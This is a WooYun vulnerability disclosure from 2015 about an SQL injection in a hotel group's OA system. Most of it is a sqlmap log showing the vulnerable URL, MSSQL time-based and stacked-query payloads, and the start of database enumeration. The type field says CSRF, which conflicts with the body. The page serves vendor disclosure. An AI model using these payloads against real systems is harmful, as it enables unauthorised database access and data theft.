当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089986

漏洞标题:格林豪泰某重要系统一处SQL注入漏洞(可跨7个数据库)

相关厂商:格林豪泰酒店管理集团

漏洞作者: Mosuan

提交时间:2015-01-05 11:03

修复时间:2015-02-19 11:04

公开时间:2015-02-19 11:04

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-05: 厂商已经确认,细节仅向厂商公开
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-19: 细节向公众公开

简要描述:

sql

详细说明:

注入地址:http://oa.998.com//weaver/weaver.email.FileDownloadLocation?fileid=1&do
wnload=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 21:54:52
[21:54:52] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\oa.998.com
\session' as session file
[21:54:52] [INFO] testing connection to the target url
[21:54:52] [INFO] testing if the url is stable, wait a few seconds
[21:54:54] [ERROR] there was an error checking the stability of page because of
lack of content. please check the page request results (and probable errors) by
using higher verbosity levels
[21:54:54] [INFO] testing if GET parameter 'fileid' is dynamic
[21:54:54] [INFO] confirming that GET parameter 'fileid' is dynamic
[21:54:54] [INFO] GET parameter 'fileid' is dynamic
[21:54:54] [WARNING] heuristic test shows that GET parameter 'fileid' might not
be injectable
[21:54:54] [INFO] testing sql injection on GET parameter 'fileid'
[21:54:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:54:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:54:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:54:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:54:55] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:54:55] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:54:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:54:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:55:05] [INFO] GET parameter 'fileid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[21:55:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:55:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:55:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:55:16] [INFO] GET parameter 'fileid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[21:55:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:55:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:55:17] [INFO] checking if the injection point on GET parameter 'fileid' is a
false positive
GET parameter 'fileid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
[21:56:18] [INFO] testing if GET parameter 'download' is dynamic
[21:56:18] [INFO] confirming that GET parameter 'download' is dynamic
[21:56:18] [INFO] GET parameter 'download' is dynamic
[21:56:18] [WARNING] heuristic test shows that GET parameter 'download' might no
t be injectable
[21:56:18] [INFO] testing sql injection on GET parameter 'download'
[21:56:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:56:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:56:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:56:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:56:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:56:19] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:56:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:56:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:56:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:56:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:56:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:56:24] [INFO] testing 'Oracle AND time-based blind'
[21:56:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:56:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:56:34] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[21:56:49] [WARNING] GET parameter 'download' is not injectable
sqlmap identified the following injection points with a total of 219 HTTP(s) req
uests:
---
Place: GET
Parameter: fileid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: fileid=1; WAITFOR DELAY '0:0:5';--&download=1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: fileid=1 WAITFOR DELAY '0:0:5'--&download=1
---
[21:56:49] [INFO] testing MySQL
[21:56:49] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[21:56:49] [WARNING] the back-end DBMS is not MySQL
[21:56:49] [INFO] testing Oracle
[21:56:49] [WARNING] the back-end DBMS is not Oracle
[21:56:49] [INFO] testing PostgreSQL
[21:56:49] [WARNING] the back-end DBMS is not PostgreSQL
[21:56:49] [INFO] testing Microsoft SQL Server
[21:56:54] [INFO] confirming Microsoft SQL Server
[21:57:09] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2008
[21:57:09] [INFO] fetching database names
[21:57:09] [INFO] fetching number of databases
[21:57:09] [INFO] retrieved: 7
[21:57:20] [INFO] retrieved: ecology
[21:59:51] [INFO] retrieved: mast

漏洞证明:

修复方案:

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-05 14:12

厂商回复:

已联系相关人员处理,感谢。

最新状态:

暂无